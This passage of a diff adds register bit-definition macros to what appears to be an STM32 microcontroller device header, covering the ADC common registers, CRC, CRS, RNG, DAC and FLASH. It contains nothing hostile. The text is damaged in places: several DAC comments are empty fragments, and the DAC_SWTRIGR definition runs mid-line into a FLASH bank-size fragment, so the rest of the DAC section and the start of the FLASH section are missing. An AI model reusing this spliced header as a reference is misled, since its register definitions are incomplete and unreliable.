ADC_CCR_TSEN_Msk /*!< ADC internal path to temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24U) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< ADC internal path to battery voltage enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0U) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16U) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + + + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0U) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0U) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0U) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3U) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5U) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7U) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0U) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0U) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0U) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1U) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2U) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3U) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5U) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6U) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7U) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8U) +#define CRS_CR_TRIM_Msk (0x3FUL << CRS_CR_TRIM_Pos) /*!< 0x00003F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0U) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16U) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24U) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28U) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31U) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0U) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1U) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2U) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3U) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8U) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9U) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10U) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15U) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16U) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0U) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1U) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2U) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3U) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2U) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3U) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5U) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7U) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8U) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12U) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13U) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16U) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20U) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30U) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31U) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0U) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1U) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2U) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5U) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6U) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0U) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk + +/******************** RNG Nist Compliance Values ******************************/ +#define RNG_CR_NIST_VALUE (0x00F00D00U) +#define RNG_HTCR_NIST_VALUE (0xAAC7U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0U) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14U) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16U) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30U) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0U) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) /*!< FLASH Bank Size */ +#define FLASH_SECTOR_SIZE 0x2000U /*!< Flash Sector Size: 8 KB */ + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0U) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_WRHIGHFREQ_Pos (4U) +#define FLASH_ACR_WRHIGHFREQ_Msk (0x3UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000030 */ +#define FLASH_ACR_WRHIGHFREQ FLASH_ACR_WRHIGHFREQ_Msk /*!< Flash signal delay */ +#define FLASH_ACR_WRHIGHFREQ_0 (0x1UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000010 */ +#define FLASH_ACR_WRHIGHFREQ_1 (0x2UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000020 */ +#define FLASH_ACR_PRFTEN_Pos (8U) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0U) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Interrupted operation address */ +#define FLASH_OPSR_DATA_OP_Pos (21U) +#define FLASH_OPSR_DATA_OP_Msk (0x1UL << FLASH_OPSR_DATA_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_DATA_OP FLASH_OPSR_DATA_OP_Msk /*!< Operation in Flash high-cycle data area interrupted */ +#define FLASH_OPSR_BK_OP_Pos (22U) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (23U) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00800000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_OTP_OP_Pos (24U) +#define FLASH_OPSR_OTP_OP_Msk (0x1UL << FLASH_OPSR_OTP_OP_Pos) /*!< 0x01000000 */ +#define FLASH_OPSR_OTP_OP FLASH_OPSR_OTP_OP_Msk /*!< Operation in OTP area interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29U) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash memory operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTCR register *******************/ +#define FLASH_OPTCR_OPTLOCK_Pos (0U) +#define FLASH_OPTCR_OPTLOCK_Msk (0x1UL << FLASH_OPTCR_OPTLOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OPTCR_OPTLOCK FLASH_OPTCR_OPTLOCK_Msk /*!< FLASH_OPTCR lock option configuration bit */ +#define FLASH_OPTCR_OPTSTART_Pos (1U) +#define FLASH_OPTCR_OPTSTART_Msk (0x1UL << FLASH_OPTCR_OPTSTART_Pos) /*!< 0x00000002 */ +#define FLASH_OPTCR_OPTSTART FLASH_OPTCR_OPTSTART_Msk /*!< Option byte start change option configuration bit */ +#define FLASH_OPTCR_SWAP_BANK_Pos (31U) +#define FLASH_OPTCR_SWAP_BANK_Msk (0x1UL << FLASH_OPTCR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTCR_SWAP_BANK FLASH_OPTCR_SWAP_BANK_Msk /*!< Bank swapping option configuration bit */ + +/******************* Bits definition for FLASH_SR register ***********************/ +#define FLASH_SR_BSY_Pos (0U) +#define FLASH_SR_BSY_Msk (0x1UL << FLASH_SR_BSY_Pos) /*!< 0x00000001 */ +#define FLASH_SR_BSY FLASH_SR_BSY_Msk /*!< Busy flag */ +#define FLASH_SR_WBNE_Pos (1U) +#define FLASH_SR_WBNE_Msk (0x1UL << FLASH_SR_WBNE_Pos) /*!< 0x00000002 */ +#define FLASH_SR_WBNE FLASH_SR_WBNE_Msk /*!< Write buffer not empty flag */ +#define FLASH_SR_DBNE_Pos (3U) +#define FLASH_SR_DBNE_Msk (0x1UL << FLASH_SR_DBNE_Pos) /*!< 0x00000008 */ +#define FLASH_SR_DBNE FLASH_SR_DBNE_Msk /*!< Data buffer not empty flag */ +#define FLASH_SR_EOP_Pos (16U) +#define FLASH_SR_EOP_Msk (0x1UL << FLASH_SR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_SR_EOP FLASH_SR_EOP_Msk /*!< End-of-program flag */ +#define FLASH_SR_WRPERR_Pos (17U) +#define FLASH_SR_WRPERR_Msk (0x1UL << FLASH_SR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_SR_WRPERR FLASH_SR_WRPERR_Msk /*!< Write protection error flag */ +#define FLASH_SR_PGSERR_Pos (18U) +#define FLASH_SR_PGSERR_Msk (0x1UL << FLASH_SR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_SR_PGSERR FLASH_SR_PGSERR_Msk /*!< Programming sequence error flag */ +#define FLASH_SR_STRBERR_Pos (19U) +#define FLASH_SR_STRBERR_Msk (0x1UL << FLASH_SR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_SR_STRBERR FLASH_SR_STRBERR_Msk /*!< Strobe error flag */ +#define FLASH_SR_INCERR_Pos (20U) +#define FLASH_SR_INCERR_Msk (0x1UL << FLASH_SR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_SR_INCERR FLASH_SR_INCERR_Msk /*!< Inconsistency error flag */ +#define FLASH_SR_OBKERR_Pos (21U) +#define FLASH_SR_OBKERR_Msk (0x1UL << FLASH_SR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_SR_OBKERR FLASH_SR_OBKERR_Msk /*!< OBK general error flag */ +#define FLASH_SR_OBKWERR_Pos (22U) +#define FLASH_SR_OBKWERR_Msk (0x1UL << FLASH_SR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_SR_OBKWERR FLASH_SR_OBKWERR_Msk /*!< OBK write error flag */ +#define FLASH_SR_OPTCHANGEERR_Pos (23U) +#define FLASH_SR_OPTCHANGEERR_Msk (0x1UL << FLASH_SR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_SR_OPTCHANGEERR FLASH_SR_OPTCHANGEERR_Msk /*!< Option byte change error flag */ + +/******************* Bits definition for FLASH_CR register ***********************/ +#define FLASH_CR_LOCK_Pos (0U) +#define FLASH_CR_LOCK_Msk (0x1UL << FLASH_CR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_CR_LOCK FLASH_CR_LOCK_Msk /*!< Configuration lock bit */ +#define FLASH_CR_PG_Pos (1U) +#define FLASH_CR_PG_Msk (0x1UL << FLASH_CR_PG_Pos) /*!< 0x00000002 */ +#define FLASH_CR_PG FLASH_CR_PG_Msk /*!< Programming control bit */ +#define FLASH_CR_SER_Pos (2U) +#define FLASH_CR_SER_Msk (0x1UL << FLASH_CR_SER_Pos) /*!< 0x00000004 */ +#define FLASH_CR_SER FLASH_CR_SER_Msk /*!< Sector erase request */ +#define FLASH_CR_BER_Pos (3U) +#define FLASH_CR_BER_Msk (0x1UL << FLASH_CR_BER_Pos) /*!< 0x00000008 */ +#define FLASH_CR_BER FLASH_CR_BER_Msk /*!< Bank erase request */ +#define FLASH_CR_FW_Pos (4U) +#define FLASH_CR_FW_Msk (0x1UL << FLASH_CR_FW_Pos) /*!< 0x00000010 */ +#define FLASH_CR_FW FLASH_CR_FW_Msk /*!< Write forcing control bit */ +#define FLASH_CR_START_Pos (5U) +#define FLASH_CR_START_Msk (0x1UL << FLASH_CR_START_Pos) /*!< 0x00000020 */ +#define FLASH_CR_START FLASH_CR_START_Msk /*!< Erase start control bit */ +#define FLASH_CR_SNB_Pos (6U) +#define FLASH_CR_SNB_Msk (0x1FUL << FLASH_CR_SNB_Pos) /*!< 0x00001FC0 */ +#define FLASH_CR_SNB FLASH_CR_SNB_Msk /*!< Sector erase selection number */ +#define FLASH_CR_SNB_0 (0x01UL << FLASH_CR_SNB_Pos) /*!< 0x00000040 */ +#define FLASH_CR_SNB_1 (0x02UL << FLASH_CR_SNB_Pos) /*!< 0x00000080 */ +#define FLASH_CR_SNB_2 (0x04UL << FLASH_CR_SNB_Pos) /*!< 0x00000100 */ +#define FLASH_CR_SNB_3 (0x08UL << FLASH_CR_SNB_Pos) /*!< 0x00000200 */ +#define FLASH_CR_SNB_4 (0x10UL << FLASH_CR_SNB_Pos) /*!< 0x00000400 */ +#define FLASH_CR_SNB_5 (0x20UL << FLASH_CR_SNB_Pos) /*!< 0x00000800 */ +#define FLASH_CR_SNB_6 (0x40UL << FLASH_CR_SNB_Pos) /*!< 0x00001000 */ +#define FLASH_CR_MER_Pos (15U) +#define FLASH_CR_MER_Msk (0x1UL << FLASH_CR_MER_Pos) /*!< 0x00008000 */ +#define FLASH_CR_MER FLASH_CR_MER_Msk /*!< Mass erase */ +#define FLASH_CR_EOPIE_Pos (16U) +#define FLASH_CR_EOPIE_Msk (0x1UL << FLASH_CR_EOPIE_Pos) /*!< 0x00010000 */ +#define FLASH_CR_EOPIE FLASH_CR_EOPIE_Msk /*!< End-of-operation interrupt control bit */ +#define FLASH_CR_WRPERRIE_Pos (17U) +#define FLASH_CR_WRPERRIE_Msk (0x1UL << FLASH_CR_WRPERRIE_Pos) /*!< 0x00020000 */ +#define FLASH_CR_WRPERRIE FLASH_CR_WRPERRIE_Msk /*!< Write protection error interrupt enable bit */ +#define FLASH_CR_PGSERRIE_Pos (18U) +#define FLASH_CR_PGSERRIE_Msk (0x1UL << FLASH_CR_PGSERRIE_Pos) /*!< 0x00040000 */ +#define FLASH_CR_PGSERRIE FLASH_CR_PGSERRIE_Msk /*!< Programming sequence error interrupt enable bit */ +#define FLASH_CR_STRBERRIE_Pos (19U) +#define FLASH_CR_STRBERRIE_Msk (0x1UL << FLASH_CR_STRBERRIE_Pos) /*!< 0x00080000 */ +#define FLASH_CR_STRBERRIE FLASH_CR_STRBERRIE_Msk /*!< Strobe error interrupt enable bit */ +#define FLASH_CR_INCERRIE_Pos (20U) +#define 